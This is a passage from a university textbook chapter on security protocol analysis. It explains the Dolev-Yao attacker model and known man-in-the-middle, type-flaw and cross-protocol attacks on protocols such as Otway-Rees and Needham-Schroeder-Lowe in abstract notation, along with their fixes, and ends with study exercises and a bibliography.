– Roger Needham –
We could try to fix the flaw but how can we be sure that our fix works and
there are no further mistakes. Formal analysis supported with automated ways of
checking models or proofs, can help to find mistakes. Formal analysis forces you
to be very precise in your assumptions and descriptions and automatically checks
(or even generates) the conclusions you can draw from them. It is important
to remember that, as we also see with ‘provable secure cryptography’, a formal
proof is only as good as its input. If we make mistakes in modeling the protocol
and its context, or incorrect assumptions about how the protocol is used, the
attacker’s initial knowledge and capabilities, etc. a formally verified protocol
may still be vulnerable. Thus formal analysis is very useful and needs to be
done, but we should not blindly rely on its results.

Formal analysis To do formal analysis we have to be very precise on what our

security model is. We already considered security goals such as authentication
and secrecy. As attacker model we use the Dolev-Yao model (see Figure 10.6).
This model captures the idea we stated above that the attacker has full control
over the network but cannot break the cryptography.
The Dolev-Yao model is very suitable for automated formal analysis. As
long as the number of (potential) participants is finite, verification of properties
like authentication is possible (decidable) even when considering an arbitrary
number of possible messages. An alternative attacker model is the computational
attacker where an attacker is an arbitrary probabilistic Turing machine. With
such an attacker model we can also consider the cryptographic primitives being
used (is encryption schema x combined with random number generator y suitable
for protocol z?) but it is much harder to reason about. The analysis could look
like that in Section 9.6 except with a more complicated security game which
captures both the security goals and the protocol. Here we will stick with the
Dolev-Yao model, see Figure 10.6.
Crucial to analysing a protocol is the attacker knowledge. As the attacker
has full control over the network, sending any message will add that message to
the knowledge of the attacker. The attacker can combine this message with the
knowledge she already has; for example by decrypting a message if she knows
the key.
10.3. WHAT MAKES A SECURITY PROTOCOL TICK: PROTOCOL DESIGN187

Figure 10.6: The Dolev-Yao attacker model.

In the following flow Mallory is not an attacker but a faithful network

A → M (B) : A
M (A) → B : A
B → M (A) : {N }pk(A)
M (B) → A : {N }pk(A)
A → M (B) : {N }pk(B)
M (A) → B : {N }pk(B)

Authentication (of Alice to Bob) is achieved and as Mallory learns nothing

about the nonce N , secrecy of the nonce N is also satisfied.

Figure 10.7: Mallory being a faithful network.

Note that the analysis of a security protocol can be quite subtle. Consider for
example Figure 10.7. The sequence in that figure looks very similar to the man
in the middle attack that we see in the Figure 10.5 but is actually quite different.
Here Mallory is actually a good friend faithfully passing along messages between
Alice and Bob. (Recall that in our attacker model sending is giving the message
to Mallory and we can only receive them from Mallory; Mallory is the network.)
Alice is correctly authenticated to Bob, whom she is actually trying to talk to
and Mallory does not obtain the nonce.
Then how can we protect against the man in the middle attack we found?
The problem comes from the fact that Alice does not know that the challenge
came from Bob. We can solve this by simply telling her; including the identity of
the challenger in the challenge. Now Mallory’s attack will no longer work; when
she forwards the challenge to Alice, Alice will see that it is a challenge from Bob
and not the challenge from Mallory that she was expecting - she will thus not
answer it. Note that Alice cannot be sure that the challenge came from Bob as
anyone can construct such a challenge; however, Bob when getting a response to
his challenge, can know for sure that Alice intended this to be for him.
188 CHAPTER 10. ANALYSIS OF SECURITY PROTOCOLS

Patched protocol and attempted attack. The message of Mallory does not
match the expectation of Alice so she does not advance the protocol; Mallory
does not learn N .

A→B:A A→M :A
B → A : {N, B}pk(A) M (A) → B : A
A → B : {N }pk(B) B → M (A) : {N, B}pk(A)
M (A) → A : {N, B}pk(A)
A 6→ M : (was expecting{?, M }pk(A) )

Figure 10.8: Patched protocol protects against the attack.

The adjustment makes the attack above impossible. But are there any other
attacks that are still possible? Ideally we would create a formal proof but this is
outside of the scope of this course; the master course Verification of Security
Protocols (2IF02) addresses this topic. Yet we can reason using the Dolev-Yao
model. An informal argument for correct authentication (of Alice to Bob) should
at least argue the following points:

1. A secret of Alice is used; a challenge that only Alice can answer ensures
that the attacker cannot complete the authentication without involving
Alice.

2. Freshness of Alice’s response; the secret has to be used in this session and
not be e.g. replayed from an earlier session.

3. Alice’s response is meant to authenticate her to Bob; when Alice is not

trying to authenticate to Bob it should not be possible to trick her into
answering the challenge for the attacker.

We addressed point 3 above by adding Bob’s name in the challenge that is

sent to Alice. But is this always sufficient to prevent Alice from being confused?
Let us consider another example protocol: the Otway-Rees Protocol for session
key distribution using a trusted server (see Figure 10.9). This protocol illustrates
a different method of authentication; via a trusted third party and also allows
us to illustrate another possible attack against protocols.

Otway-Rees and type flaw attacks The Otway-Rees protocol uses a trusted
server to create a short term session key (Kab) for communication between
Alice and Bob. Alice and Bob already share (long term) keys (Kas and Kbs
respectively) with the trusted server. The server is trusted in that we assume it
will behave correctly; generate good fresh random keys, not leak information to
the attacker (other then what is leaked by correctly following the protocol) nor
misuse the information it has. The server, for example, will know the key used
by Alice and Bob to communicate but this is not considered to be a problem.
Note that the protocol uses only symmetric cryptography. The key that people
share with the server is used to authenticate them rather than a public-private
key pair.
10.3. WHAT MAKES A SECURITY PROTOCOL TICK: PROTOCOL DESIGN189

The Otway-Rees protocol:

1. A → B : M s, A, B, {Na , M s, A, B}Kas
2. B → S : M s, A, B, {Na , M s, A, B}Kas , {Nb , M s, A, B}Kbs
3. S → B : M s, {Na , Kab}Kas , {Nb , Kab}Kbs
4. B → A : M s, {Na , Kab}Kas

The attack by Mallory:

1. A → M (B) : M s, A, B, {Na , M s, A, B}Kas

4. M (B) → A : M s, {Na , M s, A, B}Kas

A expects to get M s, {Na , Kab}Kas in step 4 so she may misinterpret

(M s, A, B) as being the key Kab. Mallory also knows this ‘key’; she know
M s, A, and B so can make (M s, A, B).

Figure 10.9: A type flaw attack on the Otway-Rees protocol

A so called type flaw attack is possible against Otway-Rees (also presented

in Figure 10.9). The attacker sends a message to Alice which is of a different
type than she is expecting. Depending on the implementation, however, Alice
may not be able to tell that this is the case. As part of step 4, Alice is expecting
to receive her nonce and a key encrypted with the key that she shares with
the server. An attacker will not be able to create such a message. However,
there are other messages that are encrypted with this key that the attacker
could use: the first message of the same run of that protocol for example. If the
attacker sends back M s and {Na , M s, A, B}Kas , both of which she got as part
of message 1 then it will contain the right nonce (Na ). The remainder of the
message (M s, A, B) could then by mistake be accepted as being Kab.
To protect against type flaw attacks we can tag messages with their type,
e.g. using (Kab , ‘key 0 ) rather then Kab . Of course we still need to ensure that
this tagging is sufficient to prevent confusion. The general lesson to take away is
that care needs to be taken to ensure that messages cannot be misused elsewhere
in the protocol.
Let us return to authentication but now both ways, i.e. mutual authentication.
The Needham-Schroeder protocol is a well known protocol that has been used
for this purpose.

Needham-Schroeder-Low The Needham-Schroeder protocol, see Figure 10.10,

aims to achieve mutual authentication between Alice and Bob. It basically runs
the authentication protocol we designed before in both directions. It also aims
to maintain secrecy of the nonces used so they can be used to create a session
key.
It is vulnerable to an attack very similar to the one we saw before; Alice can
be tricked into answering a challenge from Bob even though she is not trying to
authenticate to Bob but rather to Mallory. The patch is also the same; add the
identity B to the challenge from B. This patch solves this specific attack. On
NSL there is still a potential type flaw attack, however the type confusions that
190 CHAPTER 10. ANALYSIS OF SECURITY PROTOCOLS

The Needham-Shroeder protocol (1978) for mutual authentication:

1. A → B : {A, Na }pk(B)
2. B → A : {Na , Nb }pk(A)
3. A → B : {Nb }pk(B)

Low discovered a vulnerability in 1995(!) through an analysis using formal

methods. The vulnerability is very similar to the one in our one-way authen-
tication protocol. The patched protocol (called NSL) replaces the second
message by:

2. B → A : {Na , Nb , B}pk(A)

Figure 10.10: The Needham-Schroeder and Needham-Shroeder-Low protocols

need to happen seem unlikely to occur in practice.

A type-flaw attack on NSL involving three sessions (I,II,III) where Alice

wants to authenticate to Bob (I), Mallory misuses this to fake being Alice to
Bob in (II) and Mallory pretends to want to authenticate to Alice (III) to
help achieve this:
I.1. A → M (B) : {A, Na }pk(B)
II.1. M (A) → B : {A, M }pk(B)
II.2. B → M (A) : {M, Nb , B}pk(A)
III.1. M → A : {M, (Nb , B)}pk(A)
III.2. A → M : {(Nb , B), Na0 , A}pk(M )
II.3. M (A) → B : {Nb }pk(B)

Figure 10.11: A type-flaw attack on the Needham-Shroeder-Low protocol

The type flaw attack, shown in Figure 10.11, involves two type confusions.
The first is that Bob misinterprets M in message II.1 as a nonce. He responds
with message {M, Nb , B}pk(A) to prove he knows M , which he thinks is a nonce
from A, and adds his own nonce Nb as a challenge to A. Mallory cannot decrypt
this message, however, she can start a new session (III) with Alice and send
this message as the first message of this new session. Alice expects new sessions
from Mallory to start with a message of the form {M, ?} where ? is the challenge
(nonce) from M . She gets {M, Nb , B}. Thus, in a second type confusion, she
may interpret all of (Nb , B) to be the nonce from Mallory. Responding to this
challenge she sends {(Nb , B), Na0 , A}pk(M ) to prove she knows Mallory’s challenge
(Nb , B) and give her own challenge to Mallory (Na0 ). Now Mallory can decrypt
this message and extract everything including Nb . Knowing Nb she can finally
answer the challenge from Bob. Mallory has successfully pretended to Alice and
to Bob that she knows the ‘nonces’ (M and Nb ) that will be used to build the
key for this session.
10.3. WHAT MAKES A SECURITY PROTOCOL TICK: PROTOCOL DESIGN191

Privacy Our little the authentication protocol design introduces some privacy
concerns. First of all, Alice’s identity is sent in the clear. The protocol aims
to authenticate Alice only to Bob, not let everybody listening on the network
know that Alice wants to talk to Bob. For our protocol we can solve this by
encrypting Alice’s identity with Bob’s public key. Yet even then there is a
potential privacy issue: an attacker could determine whether Bob is willing to
talk to Alice. Anyone, including the attacker, can send the message {A}pk(B) .
Even though the attacker cannot answer the challenge from Bob, the very fact
that Bob sends a challenge is sufficient.

Bob is only willing to talk to some parties and only when those parties
should be learn that he when he is willing.

1.A → B : ‘hello0 , {‘hello0 , Na , pk(A)}pk(B)

2.B → A : ‘ack 0 , {‘ack 0 , Na , Nb , pk(B)}pk(A)
20 .B → A : ‘ack 0 , {N }K

If Bob is not willing to create a session with Alice he sends a decoy response
(20 ). Here K is any random key.

Figure 10.12: Private authentication protocol (Abadi 2002)

A possible solution to hide Bob’s choice is to always send a reply in such a way
that only Alice will be able to tell the difference. Abadi’s private authentication
protocol, see Figure 10.12, tries to achieve this. For this protocol to work the
decoy message should look real (be indistinguishable from a real message for
the attacker). Also the way we handle the decoy message should look real. For
example, if the decoy is easier to make than the real response and we respond
too quickly then the attacker may deduce the message is a decoy. (This is an
example of the so called side-channel information.)
The main goal here was to prevent Mallory on her own from telling whether
Bob will talk to Alice. When Alice herself connects to Bob Mallory may be
able to tell Bob’s choice by the fact that Alice and Bob will continue sending
messages. Preventing this information from leaking in this situation requires
more advanced anonymization techniques.

Use of multiple protocols As a final aspect let us consider the use of

multiple protocols. Two protocols that are by themselves correct may became
vulnerable/flawed when combined. A basic challenge response protocol using the
public key of Bob, combined with a protocol that relies on secrecy of messages
encrypted with this public key are obviously flawed when combined. (See for
example Figure 10.13). To address this we should analyse all protocols that
may be used together. Using different keys for different protocols would be one
way to avoid confusion of at least the encrypted parts of the messages between
protocols. The obvious drawback is that users need to have multiple keys.
192 CHAPTER 10. ANALYSIS OF SECURITY PROTOCOLS

a.1. A → B : {A, N }pk(B) b.1. A → B : {A, s}pk(B)

a.2. B → A : N

Alice and Bob use a protocol for authenticating Bob (a) and Alice wants to
send secret messages to Bob (b). When Alice sends her secret Mallory can
obtain it by using the other protocol:

b.I.1. A → M (B) : {A, s}pk(B)

a.II.1. M (A) → B : {A, s}pk(B)
a.II.2. B → M (A) : s

Figure 10.13: An attack across multiple protocols.

10.4 Summary
It is hard to design a good protocol. Attacks such as man in the middle or type
flaw can break security goals of a protocol such as authentication and secrecy.
Very subtle flaws can have big consequences. This also makes the analysis of
protocols a difficult exercise. Analysis by formal methods is needed to provide
some degree of rigor.

10.4.1 Literature
Suggested reading The Spore repository contains many examples of protocols
and attacks against them. You do not need to know these protocols by heart
but should be able to understand a given protocol specification and analyse it to
find attacks.
• The Security Protocol Open Repository (Spore) [16].
• Security Protocols and Their Properties [2].

10.5 Exercises (not graded: exam preparation)

1. Describe the Dolev-Yao attacker model; what can the attacker do in this
model and what not?
2. Consider the following protocol: Alice send an encrypted message to Bob,
along with her public key. Bob responds by sending a fresh (symmetric)
key to Alice encrypted with her public key. Finally Alice sends Bob the
key used to encrypt the message encrypted with Bob’s fresh key.
(a) Write down the protocol in protocol narration form.
(b) Does the protocol achieve secrecy of the message?
3. Translate the following protocol narration to English text:
A → S : {NA , K}KAS , A, B
S → B : {A, NA , K}KBS
B → A : {NA }K
10.5. EXERCISES (NOT GRADED: EXAM PREPARATION) 193

4. Consider the man (Mallory) of the middle attack in Figure 10.5. Write
down the attacker knowledge in each step. Use a canonical form, i.e. write
only terms that cannot be decomposed any further by Mallory.
5. Consider again the online music store of the previous chapters. Review
your requirements analysis, adding security protocol considerations; threats
and countermeasures where appropriate.
6. Alice has a public key known to everyone. Bob knows a secret sB (eg a
password) that Alice will recognize as being Bob’s when she sees it (eg
because she has the hash of the password).
(a) Alice wants to send a secret message m to Bob. Write a protocol to
get the message to Bob securely and argue why your protocol achieves
this.
(b) What if we also want to authenticate the message, let Bob know for
sure the message came from Alice; adapt your protocol if needed and
argue why the message is (now) also authenticated.
7. Consider again the protocol
A → S : {NA , K}KAS , A, B
S → B : {A, NA , K}KBS
B → A : {NA }K
Assuming that server S is trusted, does the protocol achieve:
(a) authentication of Alice to Bob,
(b) authentication of Bob to Alice,
(c) secrecy of NA ?
How could you fix the protocol for the properties above not yet achieved?
8. A flawed mutual authentication protocol:
(a) A-¿B: A, K
(b) B-¿A: {B, K, Nb}pk(A)
(c) A-¿B: {Nb}K
where A and B are agent identities, K is a fresh symmetric key and Nb
is a nonce, pk(X) is the public key of agent X, and {M}pk(X) is message
M encrypted with the public key of X using a public-key algorithm (as in
message 2).
The protocol above aims at mutual authentication of agents A and B. Au-
thentication of B to A is not accomplished, since A is not really presenting
a challenge to B.
(a) Provide an attack that allows the intruder to impersonate agent B
and fool A into thinking she’s communicating with B
(b) Provide a fix for the previous flaw, and explain why you think it
avoids the mentioned vulnerability.
(c) Which secrets, if any, are shared between A and B after the original
protocol and after the fixed protocol?
194 CHAPTER 10. ANALYSIS OF SECURITY PROTOCOLS

(d) Is authentication of A to B accomplished? (Explain your answer.)

(e) Is the ”B” really necessary in message 2. B-¿A: {”B”,K,Nb}pk(A)?
(Explain your answer.)
Bibliography

[1] https://w2.eff.org/Privacy/Crypto/Crypto_misc/DESCracker/.

[2] M. Abadi. Security protocols and their properties. In NATO Science

Series: Volume for the 20th International Summer School on Foundations
of Secure Computation, pages 39–60, Marktoberdorf, Germany, 1999. http:
//www.cse.ucsc.edu/~abadi/allpapers.html#marktoberdorftoo.

[3] Ross Anderson. Security Engineering. Wiley Computer Publishing, 1991.

www.cl.cam.ac.uk/~rja14/book.html.

[4] Mihir Bellare. Practice-oriented provable-security. In Information Security,

pages 221–231. Springer, 1998.

[5] S. Bellovin. Defending against sequence number attacks, 1996. IERF RFC
1948 http://www.ietf.org/rfc/rfc1948.txt.

[6] K. Böhm, S. Etalle, J. I. den Hartog, C. Hütter, S. Trabelsi, D. Trivellato,

and N. Zannone. A flexible architecture for privacy-aware trust management.
Journal of Theoretical and Applied Electronic Commerce Research, 5(2):77–
96, August 2010.

[7] William E. Burr, Donna F. Dodson, Elaine M. Newton, Ray A. Perl-

ner, W. Timothy Polk, Sarbari Gupta, and Emad A. Nabbus. Elec-
tronic authentication guideline. NIST Special Publication 800-63-2, https:
//doi.org/10.6028/NIST.SP.800-63-2.

[8] F. Charpentier. CCWAPSS 1.1 whitepaper. http://www.xmco.fr/

whitepapers/ccwapss_1.1.pdf.

[9] Sherman SM Chow, Joseph K Liu, Lucas CK Hui, and Siu Ming Yiu.
Provable Security: 8th International Conference, ProvSec 2014, Hong Kong,
China, October 9-10, 2014. Proceedings, volume 8782. Springer, 2014.

[10] OASIS committee on XACML. A brief introduction to xacml.

http://www.oasis-open.org/committees/download.php/2713/Brief_
Introduction_to_XACML.html.

[11] R. J. Corin and J. I. den Hartog. A probabilistic hoare-style logic for game-
based cryptographic proofs. In M. Bugliesi, B. Preneel, and V. Sassone,
editors, ICALP 2006 track C, Venice, Italy, volume 4052 of Lecture Notes
in Computer Science, pages 252–263, Berlin, July 2006. Springer-Verlag.

195
196 BIBLIOGRAPHY

[12] E. Costante, J.I. den Hartog, M Petkovic, S. Etalle, and M. Pechenizkiy.

Hunting the unknown - white-box database leakage detection. In Proceedings
of 28th IFIP WG 11.3 Conference on Data and Applications Security and
Privacy (DBSEC2014), volume 8566 of LNCS, pages 243–259, 2014.

[13] Marcin Czenko, Sandro Etalle, Dongyi Li, and William H Winsborough.
An introduction to the role based trust management framework rt. In
Foundations of security analysis and design IV, pages 246–281. Springer,
2007. doc.utwente.nl/64136/1/IntroRTFinal.pdf.

[14] W. Diffie and M.E.Hellman. Exhaustive cryptanalysis of the NBS data

encryption standard. IEEE Computer magazine, 1997. http://www-ee.
stanford.edu/~hellman/publications/27.pdf.

[15] Golnaz Elahi and Eric S. K. Yu. A goal oriented approach for modeling
and analyzing security trade-offs. In ER, pages 375–390, 2007.

[16] Laboratoire Spécification et Vérficication. Security protocol open repository

(spore). http://www.lsv.ens-cachan.fr/Software/spore/table.html.

[17] Behrouz A. Forouzan. Data Communications and Networking. McGraw-Hill

Higher Education, 4th edition edition, 2007.

[18] J.I. den Hartog. Towards mechanized correctness proofs for cryptographic
algorithms: Axiomatization of a probabilistic hoare style logic. Science of
Computer Programming, 74(1-2):52–63, 2008.

[19] Neal Koblitz and Alfred J Menezes. Another look at” provable security”.
Journal of Cryptology, 20(1):3–37, 2007.

[20] James F. Kurose and Keith W. Ross. Computer Networking. A Top-Down

Approach. Pearson, 6th edition edition, 2012.

[21] Ninghui Li, John C. Mitchell, and William H. Winsborough. Design of a

role-based trust-management framework. In Proceedings of the 2002 IEEE
Symposium on Security and Privacy, SP ’02, pages 114–, Washington, DC,
USA, 2002. IEEE Computer Society.

[22] Alfred J. Menezes, Paul C. van Oorschot, and Scott A. Vanstone. Handbook
of Applied Cryptography. CRC Press, 5th edition, 2001. http://cacr.
uwaterloo.ca/hac/.

[23] OASIS Standard. extensible access control markup language

(xacml) version 3.0. http://docs.oasis-open.org/xacml/3.0/xacml-3.
0-core-spec-os-en.html.

[24] Brett Stone-gross, Marco Cova, Lorenzo Cavallaro, Bob Gilbert, Martin
Szydlowski, Richard Kemmerer, Christopher Kruegel, and Giovanni Vigna.
Your botnet is my botnet: Analysis of a botnet takeover.

[25] F. Turkmen, J.I. den Hartog, S. Ranise, and N. Zannone. Analysis of xacml
policies with smt. In 4th Conference on Principles of Security and Trust
(POST 2015), 2015. to appear.
BIBLIOGRAPHY 197

[26] F. Turkmen, J.I. den Hartog, and N. Zannone. Poster: Analyzing access
control policies with smt. In Proceedings of the 21st ACM Conference on
Computer and Communications Security (CCS 2014). ACM, 2014.